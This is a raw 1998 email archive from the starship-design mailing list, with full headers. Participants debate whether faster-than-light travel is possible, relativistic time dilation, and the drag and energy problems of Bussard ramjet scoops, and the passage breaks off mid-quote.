Sep 1998 11:36:09 -0700 (PDT) Received: from OEMComputer (pm6-71.gpt.infi.net [207.0.195.71]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id OAA21114 for ; Wed, 23 Sep 1998 14:36:06 -0400 (EDT) Message-ID: <36095B07.1EFF@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <199809230843.JAA04936@ns0.sky.co.uk> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur poi nt? Date: Wed, 23 Sep 1998 13:33:11 -0700 Walker, Chris wrote: > I agree with both statements. However, I am curious as to your reason(s) > *why* you believe FTL travel is possible. I have many reasons. I will gladly discuss them off list with you. However, as Steve points out, this list is not a place for discussing speculative subjects. >From VM Wed Sep 23 11:43:42 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""548"" ""Wed"" ""23"" ""September"" ""1998"" ""13:35:03"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""15"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur poi nt?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 548 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA09673 for starship-design-outgoing; Wed, 23 Sep 1998 11:38:05 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id LAA09633 for ; Wed, 23 Sep 1998 11:38:02 -0700 (PDT) Received: from OEMComputer (pm6-71.gpt.infi.net [207.0.195.71]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id OAA14273 for ; Wed, 23 Sep 1998 14:37:59 -0400 (EDT) Message-ID: <36095B77.287D@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur poi nt? Date: Wed, 23 Sep 1998 13:35:03 -0700 Bjorn Nilsson wrote: > Well I would also be VERY interested in WHY you think FTL is posible... I will send you an email explaining this. > > However I do not fully agree that those two condintions are that > neccesary, as long as you can fulfill the 1st one (reactionless drives) > then you can probably build a reasonably unexpensive (in global terms) > starship to get to the nearby stars in a decade or so. Yes, you can get there with a reactionless drive..but to do so efficiently and quickly, FTL is quite attractive. Kyle R. Mcallister >From VM Wed Sep 23 11:56:41 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1064"" ""Wed"" ""23"" ""September"" ""1998"" ""11:50:53"" ""-0700"" ""Steve VanDevender"" ""stevev@darkwing.uoregon.edu"" nil ""25"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1064 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA16793 for starship-design-outgoing; Wed, 23 Sep 1998 11:50:56 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA16774; Wed, 23 Sep 1998 11:50:54 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <13833.17165.585431.118232@darkwing.uoregon.edu> In-Reply-To: <36095B07.1EFF@sunherald.infi.net> References: <199809230843.JAA04936@ns0.sky.co.uk> <36095B07.1EFF@sunherald.infi.net> X-Mailer: VM 6.59 under 20.4 ""Emerald"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur point? Date: Wed, 23 Sep 1998 11:50:53 -0700 (PDT) Kyle R. Mcallister writes: > Walker, Chris wrote: > > > I agree with both statements. However, I am curious as to your reason(s) > > *why* you believe FTL travel is possible. > > I have many reasons. I will gladly discuss them off list with you. > However, as Steve points out, this list is not a place for discussing > speculative subjects. I'm not sure I would put it in quite those terms. If someone comes up with solid, verified results of something like FTL propulsion of mass I'm sure we'd be the first to welcome the information. Some discussion of speculative topics here is unavoidable; as has been pointed out before, even the sorts of things we're more inclined to consider still involve a fair amount of speculation (i.e. antimatter exists, but how would we make enough to fuel a starship?). I simply want to emphasize, for those people new to the list, that this list is intended for the discussion of practical, achievable methods for interstellar travel, and therefore is more limited in speculation than other forums might be. >From VM Wed Sep 23 13:20:56 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3062"" ""Wed"" ""23"" ""September"" ""1998"" ""13:52:17"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""60"" ""starship-design: FTL travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 3062 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id LAA19701 for starship-design-outgoing; Wed, 23 Sep 1998 11:55:22 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id LAA19634 for ; Wed, 23 Sep 1998 11:55:19 -0700 (PDT) Received: from OEMComputer (pm6-71.gpt.infi.net [207.0.195.71]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id OAA05375 for ; Wed, 23 Sep 1998 14:55:13 -0400 (EDT) Message-ID: <36095F81.5132@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <199809230926.KAA06837@ns0.sky.co.uk> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: FTL travel Date: Wed, 23 Sep 1998 13:52:17 -0700 Walker, Chris wrote: > > Bjorn, > > I meant that I agreed that FTL travel was *necessary* for attempting serious > interstellar exploration, rather than I thought FTL travel was *possible*. > I'm still learning much about the various theories regarding this subject, > so do not feel qualified to comment on whether or not it is possible - > that's why I was curious as to Kyle's beliefs in FTL flight. A theory cannot tell you if something is or is not possible. Many of the scientists who hold power today fail to recongnize this. Experiments can give you proof, but not theory. I am not saying theory is bad, however. It is necessary to logically organize experimental results and make predictions. > > The planet-hopping method may be a more realistic/achievable goal in the > shorter term (next century), given that without a major breakthrough in > propulsion technology, FTL flight may not be achieved for some considerable > time. It seems to me that production of a working reactionless drive is more > within our immediate reach than breaking the light barrier. No one can say. It may happen tomorrow, or it may take hundreds of years. > Does anyone know what is (theoretically) meant to happen re. time dilation > when you travel FTL? (eg. travelling back in time?) According to special relativity, when an object travels FTL, it can create what is known as a causality violation. What this is is when some observer disagrees as to whether the FTL object left point A and went to point B, or went from point B to point A. In other words, to this observer, the ship's arrival at its destination occurred before it left its origin. You can set up a situation with round trip FTL travel that can allow a ship to return to its origin before it leaves (time travel). (If you want to learn more about special relativity, read ""Spacetime Physics"" by Taylor and Wheeler.) What really happens? No one knows. If FTL is possible, then it certainly will not involve time travel...there are many strong arguments against time travel. But it is wrong, and quite arrogant for some scientists to preclude FTL because time travel is impossible. Notice, I am not saying time travel is impossible. It may or may not be. The same with FTL. FTL and time dilation: First, calculate gamma. Gamma is equal to 1/((1-v^2)^.5) so gamma for an object travelling .6c relative to another observer is 1.25. This means that the moving object's time goes 1.25 times slower than the stationary object. For an object going 3c, try it on a scientific calculator. gamma=1/((1-3^2)^.5) gamma= approx (0,-.35355) An imaginary number. This is where things really get complicated. So, does this mean that FTL is impossible, or that relativity can't correctly predict what happens for FTL? That is a very good question, and if you can figure it out, you will likely be in the textbooks. It is fun to theorize about FTL, but this really isn't the place. Best regards, Kyle R. Mcallister Note, if you get this a few times, sorry. My mail program is trying to send it automatically. >From VM Wed Sep 23 13:20:56 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1482"" ""Wed"" ""23"" ""September"" ""1998"" ""14:19:50"" ""-0700"" ""Kyle R. Mcallister"" ""stk@sunherald.infi.net"" nil ""35"" ""Re: FW: starship-design: Interstellar travel-using vacuum..ur point?"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1482 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id MAA04284 for starship-design-outgoing; Wed, 23 Sep 1998 12:22:55 -0700 (PDT) Received: from fh101.infi.net (fh101.infi.net [208.131.160.100]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id MAA04228 for ; Wed, 23 Sep 1998 12:22:52 -0700 (PDT) Received: from OEMComputer (pm6-71.gpt.infi.net [207.0.195.71]) by fh101.infi.net (8.8.8/8.8.8) with SMTP id PAA01691 for ; Wed, 23 Sep 1998 15:22:46 -0400 (EDT) Message-ID: <360965F6.15E3@sunherald.infi.net> X-Mailer: Mozilla 3.01Gold (Win95; I; 16bit) MIME-Version: 1.0 References: <199809230843.JAA04936@ns0.sky.co.uk> <36095B07.1EFF@sunherald.infi.net> <13833.17165.585431.118232@darkwing.uoregon.edu> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Kyle R. Mcallister"" From: ""Kyle R. Mcallister"" Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: FW: starship-design: Interstellar travel-using vacuum..ur point? Date: Wed, 23 Sep 1998 14:19:50 -0700 Steve VanDevender wrote: > I'm not sure I would put it in quite those terms. If someone > comes up with solid, verified results of something like FTL > propulsion of mass I'm sure we'd be the first to welcome the > information. But even if someone proves FTL motion of mass, it would take awhile to develop the necessary system. Accelerating matter to FTL might not directly lead to a 'warp drive'. I think that even if FTL is discovered tommorow, it will be quite some time before we can seriously start designing FTL starships. It would be interesting to discuss the results though, and I'd be interested even if they figured out how to send information FTL. Applying real FTL to a starship engine might take time though. > > Some discussion of speculative topics here is unavoidable; as has > been pointed out before, even the sorts of things we're more > inclined to consider still involve a fair amount of speculation > (i.e. antimatter exists, but how would we make enough to fuel a > starship?). By speculative, I meant things that have not yet been toatlly all out demonstrated. Antimatter is real (albeit very expensive), but FTL motion of matter...we haven't done that yet. > > I simply want to emphasize, for those people new to the list, > that this list is intended for the discussion of practical, > achievable methods for interstellar travel, and therefore is more > limited in speculation than other forums might be. Agreed. Best regards, Kyle R. Mcallister >From VM Wed Sep 23 15:13:58 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""883"" ""Wed"" ""23"" ""September"" ""1998"" ""22:57:01"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""21"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 883 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA00198 for starship-design-outgoing; Wed, 23 Sep 1998 15:03:12 -0700 (PDT) Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA00151 for ; Wed, 23 Sep 1998 15:03:08 -0700 (PDT) Received: from - (dc2-modem647.dial.xs4all.nl [194.109.130.135]) by smtp1.xs4all.nl (8.8.8/8.8.8) with SMTP id AAA04148 for ; Thu, 24 Sep 1998 00:03:04 +0200 (CEST) Message-Id: <3.0.1.32.19980923225701.0069fcf8@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <001501bde71a$4f7251e0$e15931cc@lparker> References: <3.0.1.32.19980923163101.006c2ce4@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Bussard drive Date: Wed, 23 Sep 1998 22:57:01 +0100 Lee, You may want to reconsider the following: >Second, the upper limit on velocity IS NOT the exhaust velocity of the >engine, go back to your freshman physics book if you don't believe me, and I >don't care who you've been reading. With enough reaction mass, you can get >to light speed by THROWING tennis balls off the back of the Santa Maria! Unfortunately that reaction mass has to be accelerated by the ship to transfer momentum. The trouble is that the reaction mass is already having a large velocity (0.1c) relative to the ship, because it is scooped. So to add velocity (accelerate) to the particles, the exhaust velocity has to be larger than 0.1c. On the Santa Maria one doesn't scoop particles, but instead the particles are at assumed to be stored on the ship. This makes it easy to accelerate them. So the comparison with the Santa Maria is totally off. Timothy >From VM Thu Sep 24 10:07:07 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1356"" ""Thu"" ""24"" ""September"" ""1998"" ""09:56:35"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""34"" ""Re: starship-design: FTL travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1356 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id AAA24251 for starship-design-outgoing; Thu, 24 Sep 1998 00:56:42 -0700 (PDT) Received: from sabik.tdb.uu.se (pHQsUhXUbo7ngGORZz2kLUjS1YfQhK+E@sabik.tdb.uu.se [130.238.138.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id AAA24242 for ; Thu, 24 Sep 1998 00:56:39 -0700 (PDT) Received: from localhost (f96bni@localhost) by sabik.tdb.uu.se (8.8.8/8.8.8/STUD_1.1) with SMTP id JAA26109 for ; Thu, 24 Sep 1998 09:56:35 +0200 (MET DST) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <36095F81.5132@sunherald.infi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: FTL travel Date: Thu, 24 Sep 1998 09:56:35 +0200 (MET DST) On Wed, 23 Sep 1998, Kyle R. Mcallister wrote: > Walker, Chris wrote: > > > > Bjorn, > > > > I meant that I agreed that FTL travel was *necessary* for attempting serious > > interstellar exploration, rather than I thought FTL travel was *possible*. > > I'm still learning much about the various theories regarding this subject, > > so do not feel qualified to comment on whether or not it is possible - > > that's why I was curious as to Kyle's beliefs in FTL flight. > > A theory cannot tell you if something is or is not possible. Many of the > scientists who hold power today fail to recongnize this. Experiments can > give you proof, but not theory. I am not saying theory is bad, however. > It is necessary to logically organize experimental results and make > predictions. Well, that is VERY much a question of philosophy... I personnaly think that it is well within the capacity of the human mind to give proof from theory alone, as long as the base for the theory is sound and your reasoning is stringent enough such a proof is at LEAST as real to me as any experimental measurment. It all depends on your view of what constitutes the (scientific) thruth! To you it is limeted to what can be OBSERVED, to me it is limeted to what can be EXPLAINED and to others it might be a combination of the two! Sorry for straying so far OT /Bjorn >From VM Thu Sep 24 10:07:07 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2116"" ""Thu"" ""24"" ""September"" ""1998"" ""06:39:55"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""45"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2116 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id EAA09943 for starship-design-outgoing; Thu, 24 Sep 1998 04:42:34 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id EAA09938 for ; Thu, 24 Sep 1998 04:42:31 -0700 (PDT) Received: from lparker (p200.gnt.com [204.49.89.200]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id GAA08596; Thu, 24 Sep 1998 06:42:25 -0500 Message-ID: <001601bde7b0$0deae480$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <3.0.1.32.19980923225701.0069fcf8@pop.xs4all.nl> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Timothy van der Linden"" Cc: ""Starship Design"" Subject: RE: starship-design: Bussard drive Date: Thu, 24 Sep 1998 06:39:55 -0500 Timothy, > > You may want to reconsider the following: > In the particular instance of ramjets, you are correct that you have to be able to accelerate the reaction mass to greater than its original velocity relative to the ship. In addition, you must also do so without slowing the reaction mass down on its way through, that problem has been realized for quite some time. But I was speaking of reaction mass propulsion in general. After looking back at the original statement, I see it was applied during a conversation about ramjets and was probably meant to apply to them specifically. But the way it was worded made it appear to apply to reaction mass thrust in general...a patently false idea. The ramjet idea does have several difficulties to over come if it is to work however: 1) A solid scoop will never work. Even if a thousand or ten thousand meter scoop could be designed to withstand up to one tenth of a g of acceleration, as the velocity increased, the mass of the matter impacting it would go up proportionately. It would soon grow beyond any reasonable engineering. 2) If the scoop is immaterial, i.e. a field of some sort, then the same argument still applies although a little differently. As speed increases, the field strength must be increased without increasing the field area in order to prevent more and more of the matter from slipping through before it can be deflected far enough to bring it to the ship. 3) As you point out, all of this deflection must be done without generating so much drag from slowing down the fuel that we can't get enough thrust out of burning the fuel. What I would suggest, is that IF we can generate a field sufficiently strong to catch ionized hydrogen, then we can probably generate one strong enough to function as a sort of inside out accelerator and simply magnetically (or whatever) propel the hydrogen backward without even bothering to burn it. The second possibility is that the field itself may be able to accelerate the matter as it is deflected inward, before it is burned thereby gaining additional thrust rather than drag. Lee >From VM Thu Sep 24 15:29:20 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3458"" ""Thu"" ""24"" ""September"" ""1998"" ""22:56:45"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""72"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 3458 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA26606 for starship-design-outgoing; Thu, 24 Sep 1998 15:18:37 -0700 (PDT) Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA26579 for ; Thu, 24 Sep 1998 15:18:32 -0700 (PDT) Received: from - (dc2-modem644.dial.xs4all.nl [194.109.130.132]) by smtp1.xs4all.nl (8.8.8/8.8.8) with SMTP id AAA13714 for ; Fri, 25 Sep 1998 00:18:27 +0200 (CEST) Message-Id: <3.0.1.32.19980924225645.0068a474@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <001601bde7b0$0deae480$e15931cc@lparker> References: <3.0.1.32.19980923225701.0069fcf8@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Bussard drive Date: Thu, 24 Sep 1998 22:56:45 +0100 Hello Lee, >In the particular instance of ramjets, you are correct that you have to be >able to accelerate the reaction mass to greater than its original velocity >relative to the ship. In addition, you must also do so without slowing the >reaction mass down on its way through, that problem has been realized for >quite some time. But I was speaking of reaction mass propulsion in general. You may stop the particles, but you shouldn't loose too much energy in doing so, because you have to speed up the particles again. This scenario is usually to difficult to realize, hence it is best to not slow down the particles. >After looking back at the original statement, I see it was applied during a >conversation about ramjets and was probably meant to apply to them >specifically. Yes, applied to scooping only. There is something I didn't think of before: Some of the particles that the scoop tries to pick up will never reach the intake of the engine, because the scoop field was just not strong enough (The magnetic scoop field does not have a sharp edge, hence there will be particles that encounter a weak field and they will be moved towards the intake, but not quite.). These particles thus generate drag without contributing as reaction mass or fuel. The larger the velocity of the ship, the more particles will slip through the scoopfield and thus the more drag will be created. So the sharper the edge (the greater the magnetic fieldstrength difference) the better the performance of the scoop. This thus also means that my initial assumption ""final velocity equals exhaust velocity"" isn't valid per se, but depends on the efficiency of the field. >The ramjet idea does have several difficulties to over come if it is to work >however: > >1) A solid scoop will never work. Even if a thousand or ten thousand meter >scoop could be designed to withstand up to one tenth of a g of acceleration, >as the velocity increased, the mass of the matter impacting it would go up >proportionately. It would soon grow beyond any reasonable engineering. > >2) If the scoop is immaterial, i.e. a field of some sort, then the same >argument still applies although a little differently. As speed increases, >the field strength must be increased without increasing the field area in >order to prevent more and more of the matter from slipping through before it >can be deflected far enough to bring it to the ship. This is what led me to the thought mentioned by me above. (I'm not sure you [Lee] realized what I wrote above.) >3) As you point out, all of this deflection must be done without generating >so much drag from slowing down the fuel that we can't get enough thrust out >of burning the fuel. > >What I would suggest, is that IF we can generate a field sufficiently strong >to catch ionized hydrogen, then we can probably generate one strong enough >to function as a sort of inside out accelerator and simply magnetically (or >whatever) propel the hydrogen backward without even bothering to burn it. We have to burn it partially, since we need to add kinetic energy. That is unless we have another source of energy on the ship of course (this source should not be underestimated!). >The second possibility is that the field itself may be able to accelerate >the matter as it is deflected inward, before it is burned thereby gaining >additional thrust rather than drag. Same argument, acceleration in this case means adding energy. Timothy >From VM Thu Sep 24 16:06:53 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3704"" ""Thu"" ""24"" ""September"" ""1998"" ""15:58:23"" ""-0700"" ""N. Lindberg"" ""nlindber@u.washington.edu"" nil ""75"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 3704 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA17889 for starship-design-outgoing; Thu, 24 Sep 1998 15:58:27 -0700 (PDT) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA17869 for ; Thu, 24 Sep 1998 15:58:25 -0700 (PDT) Received: from dante24.u.washington.edu (nlindber@dante24.u.washington.edu [140.142.15.74]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA37300 for ; Thu, 24 Sep 1998 15:58:24 -0700 Received: from localhost (nlindber@localhost) by dante24.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id PAA89432 for ; Thu, 24 Sep 1998 15:58:23 -0700 In-Reply-To: <3.0.1.32.19980924225645.0068a474@pop.xs4all.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: ""N. Lindberg"" From: ""N. Lindberg"" Sender: owner-starship-design@lists.uoregon.edu To: starship design Subject: RE: starship-design: Bussard drive Date: Thu, 24 Sep 1998 15:58:23 -0700 (PDT) Timothy, Lee, I like the point about the ""sharpness"" of the field affecting efficiency. However, I question the basic premise of a non-burning scoop. In all of the discussions on the list about propulsion (about 90%, I'd say) the final question is always the weight/energy ratio of the fuel. Even if your reaction mass _is_ gathered, if you carry 5000 times your dry weight in fuel, you havent really gained much since the acceleration of the ship is only dependent on how much wattage is put our the back. Scooping then simply becomes a way to add extra weight and complexity to the ship. In order for scooping to be a good idea, the interstellar hydrogen should be burned enough to at least make up for the added weight and drag of the scoop, and then some. How feasible this is engineering-wise I can't say. Best Regards, Nels Lindberg On Thu, 24 Sep 1998, Timothy van der Linden wrote: > Hello Lee, > > There is something I didn't think of before: Some of the particles that the > scoop tries to pick up will never reach the intake of the engine, because > the scoop field was just not strong enough (The magnetic scoop field does > not have a sharp edge, hence there will be particles that encounter a weak > field and they will be moved towards the intake, but not quite.). These > particles thus generate drag without contributing as reaction mass or fuel. > The larger the velocity of the ship, the more particles will slip through > the scoopfield and thus the more drag will be created. > > So the sharper the edge (the greater the magnetic fieldstrength difference) > the better the performance of the scoop. > > This thus also means that my initial assumption ""final velocity equals > exhaust velocity"" isn't valid per se, but depends on the efficiency of the > field. > > >The ramjet idea does have several difficulties to over come if it is to work > >however: > > > >1) A solid scoop will never work. Even if a thousand or ten thousand meter > >scoop could be designed to withstand up to one tenth of a g of acceleration, > >as the velocity increased, the mass of the matter impacting it would go up > >proportionately. It would soon grow beyond any reasonable engineering. > > > >2) If the scoop is immaterial, i.e. a field of some sort, then the same > >argument still applies although a little differently. As speed increases, > >the field strength must be increased without increasing the field area in > >order to prevent more and more of the matter from slipping through before it > >can be deflected far enough to bring it to the ship. > > This is what led me to the thought mentioned by me above. (I'm not sure you > [Lee] realized what I wrote above.) > > >3) As you point out, all of this deflection must be done without generating > >so much drag from slowing down the fuel that we can't get enough thrust out > >of burning the fuel. > > > >What I would suggest, is that IF we can generate a field sufficiently strong > >to catch ionized hydrogen, then we can probably generate one strong enough > >to function as a sort of inside out accelerator and simply magnetically (or > >whatever) propel the hydrogen backward without even bothering to burn it. > > We have to burn it partially, since we need to add kinetic energy. That is > unless we have another source of energy on the ship of course (this source > should not be underestimated!). > > >The second possibility is that the field itself may be able to accelerate > >the matter as it is deflected inward, before it is burned thereby gaining > >additional thrust rather than drag. > > Same argument, acceleration in this case means adding energy. > > Timothy >From VM Fri Sep 25 09:59:01 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4265"" ""Thu"" ""24"" ""September"" ""1998"" ""20:10:11"" ""-0500"" ""Kevin Houston"" ""kevin@urly-bird.com"" nil ""100"" ""starship-design: scoops and sails and something to push against."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 4265 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA13047 for starship-design-outgoing; Thu, 24 Sep 1998 18:11:27 -0700 (PDT) Received: from web12.ntx.net (root@web12.ntx.net [209.1.144.158]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA13034 for ; Thu, 24 Sep 1998 18:11:24 -0700 (PDT) Received: from urly-bird.com (wf-6-16.wavefront.net [206.146.208.192]) by web12.ntx.net (8.8.5/8.7.3) with ESMTP id SAA05337; Thu, 24 Sep 1998 18:12:17 -0700 (PDT) Message-ID: <360AED73.CDC56FC8@urly-bird.com> Organization: http://www.urly-bird.com/houston4thehouse/ X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 References: <001601bde7b0$0deae480$e15931cc@lparker> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: Starship Design CC: ""L. Parker"" , Timothy van der Linden Subject: starship-design: scoops and sails and something to push against. Date: Thu, 24 Sep 1998 20:10:11 -0500 Lee, You have given me a great idea (experienced list members will be ducking for cover I assume ;) let's rethink the idea of ""engine"", ""scoop"", and ""sail"" scoop is a means of interacting with the interstellar medium. engine is a means of accelerating the medium thereby moving us. sail in this sense is a means of gathering energy. a _trailing_ mesh of some bits of silicon to turn UV radiation into electrical energy. Please note, this is a very rough draft, there may be things I have not thought out, I am thinking on the fly here. What if a beaming system from earth simply created a ""charge tunnel"" in the interstellar Hydrogen? Then a ship could gather electrical energy from a trailing sail, and use this energy to push against the charged Hydrogen. perhaps using an oscilating electrical field. The individual hydrogen atoms, would not need to be drawn toward the ship, fused, and expelled, but could be used in situ. As the ship passed, each atom would gain a small accel towards earth, I think this would totally eliminate the need for focusing the beam, earth would ""paint"" space a fraction on an arc degree (limited by the wavelength of radiation (ultraviolet would work best here)) around the target star, and the ship could maneuver within that volume. The entire engine would be outside the ship! the ship could be any size, but saucer shaped (to maximize cross sectional area might be good) or cylindrical (to maximize protection from speed induced radiation) One main advantage is that you could establish this ""charge tunnel"" well ahead of actual launch. On the way back, you could wait to see the beam from earth before heading back, and the hydrogen atoms that were accelerated towards earth on the outbound trip would be accelerated towards Tau Ceti on the in bound trip. We have often wished for something to push against. anyone care to shoot some holes in this? Kevin Hosuton. L. Parker wrote: > > Timothy, > > > > > You may want to reconsider the following: > > > > > In the particular instance of ramjets, you are correct that you have to be > able to accelerate the reaction mass to greater than its original velocity > relative to the ship. In addition, you must also do so without slowing the > reaction mass down on its way through, that problem has been realized for > quite some time. But I was speaking of reaction mass propulsion in general. > > After looking back at the original statement, I see it was applied during a > conversation about ramjets and was probably meant to apply to them > specifically. But the way it was worded made it appear to apply to reaction > mass thrust in general...a patently false idea. > > The ramjet idea does have several difficulties to over come if it is to work > however: > > 1) A solid scoop will never work. Even if a thousand or ten thousand meter > scoop could be designed to withstand up to one tenth of a g of acceleration, > as the velocity increased, the mass of the matter impacting it would go up > proportionately. It would soon grow beyond any reasonable engineering. > > 2) If the scoop is immaterial, i.e. a field of some sort, then the same > argument still applies although a little differently. As speed increases, > the field strength must be increased without increasing the field area in > order to prevent more and more of the matter from slipping through before it > can be deflected far enough to bring it to the ship. > > 3) As you point out, all of this deflection must be 